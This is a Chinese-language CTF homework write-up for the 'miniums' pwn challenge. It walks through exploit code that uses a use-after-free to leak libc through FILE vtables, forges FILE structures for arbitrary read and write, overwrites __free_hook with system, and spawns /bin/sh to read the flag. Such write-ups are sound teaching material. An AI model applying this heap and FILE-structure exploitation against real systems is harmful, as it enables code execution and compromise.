[HW]miniums

這題主要是利用 UAF 漏洞來達到任意讀和任意寫,以竄改 free hook 以執行 shell

```
void del_user() // uaf
{
    short int idx;

    idx = get_idx();
    if (users[idx]->data != NULL)
        fclose(users[idx]->data);

    free(users[idx]);
    printf("success!\n");
}
```

首先仍要先堆疊結構,並將 user[1]->data 透過 edit 改成不是 null,以之後方便 show() 出資料後,刪除結構

```
#洩漏fd address
add(0,b'A'*8)
add(1,b'B'*8)
add(2,b'C'*8)
edit(1,0x20,'A')
delete(0)
delete(1)
show()
```

此時 user[1]->name 實際上就是 chuck->fd 指到 user[0]的位置,透過 show()我們就可以輕易知道位置 user[0]的位置,之後在 pwndbg 觀看 bin,發現 user[0]位置跟 delete(1)而釋放出的 user[1]->data 位置會固定差 0x60 的 offset,下圖 300-2a0=0x60

```
0x30 [ 2]: 0x56490Vd292d0 -- 0x56490Vd292a0 -- 0x0
0x1e0 [ 1]: 0x56490Vd29300 -- 0x20 /* ' ' */
```

所以我們接收到 user[0]的位置後加上 0x60 再加上 0xd8 便可以順利取得 vtable 所在的 address,其內容會跟 libc 差固定的 offset,



再來就是要建置任意讀的設定,讓 flag current_putting 是為了,不要再寫或讀時又更改我們已經設定好的東西,我們要讀的是一個 pointer,所以設定 8bytes。

先讓 user[2]透過 edit 去 malloc 一塊 FILE 的記憶體, 之後再透過 delete 將其 free 掉

```
edit(2,0x20,'A')
delete(2)
```

再來是透過 edit(2)去刻意 malloc 一塊跟 FILE 大小差不多的記憶體,此時 buf 就會指到原本是 user[2]->data,被我們 free 掉的那個 file 位置,之後將那個 FILE 位置的內容改成我們設定的樣子,我們就可以透過 server 程式的 fwrite 讀到我們要讀的 vtableoffset 資料,印到 stdout

```
# edit
r.recvuntil('5. bye\n> ')
r.sendline('2')
r.recvuntil('index\n> ')
r.sendline(str(2))
r.recvuntil('size\n> ')
r.sendline(str(0x1d8))
r.sendline(FileStructure)
print("after third edit")
# 找到libc
libc=u64(r.recv(6).ljust(8,b'\x00'))-0x1e94a0
print("libc is "+hex(libc))
```

```
users[idx]->data = tmpfile();

buf = malloc(size);  //memory leak ,no free
read(0, buf, size);

fwrite(buf, size, 1, users[idx]->data);
```

接收到 vtable 資料後,算出其跟 libc 的 offset,大概是 0x1e94a0,我們就可以知道遠端 libc 的 base address,之後再找到 free_hook 和 system 的 offset,接下來要想辦法透過任意寫的 trick 修改遠端程式的 free_hook 來達到執行 shell 的功能。

再來也是要依投影片的建議建置了 FILE 的設定,比較特別的一點是因為 edit 一定會 fwrite 所以為了避免一些 offset 被重製,這邊仍要 flag current_putting,因此多了一個 0800

```
Concept

► 任意寫代表是把從 stdin 讀取的資料寫到特定位址,所以要控制的是 fread 的執行流程

► 設置:

⑤ flags &= ~(NO_READ | EOF_SEEN)

⑥ flags |= MAGIC

⑥ fileno = 0 (從 stdin 讀取)

⑥ read_end = read_ptr = 0 (滿足 read_end == read_ptr)

⑥ buf_base = target_address

⑥ buf_end = target_address + large value
```

```
740 if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
741 {
```

再來就是要把之前我們亂改的錯誤 FILE 指針給覆蓋掉,避免在 show()的時候 fread 會出問題,透過 add,並也重新 malloc 一塊 FILE 的的記憶體,之後再 FREE 掉

```
#實現任意寫
add(2,b'C'*8) # 覆蓋錯誤的FD
add(1,b'C'*8)
edit(2,0x20,'A')
delete(2)
```

之後 buf 又會指到剛剛 malloc 又 free 掉的那塊 FILE 記憶體,我們就可以順利地將那塊 FILE 改成我的要的任意寫的方式,之後在 show 的部分,會執行 fread,我們在送 system 的 address 讓它寫到 free_hook 裡頭,之後再 delete(3)後,就會執行 free hook 也就是 system("/bin/sh")順利地開啟 shell,拿到 flag。

```
edit(2,0x1d8, FileStructure) #malloc, fwrite
show() # fread
r.sendline(p64(system).ljust(8+0x200,b'\x00'))
add(3,b'/bin/sh\x00')
```

```
$ cat flag
FLAG{Toyz_4y2m_QQ_6a61c7e00afda47e65f4aaedc62e4fdc}
```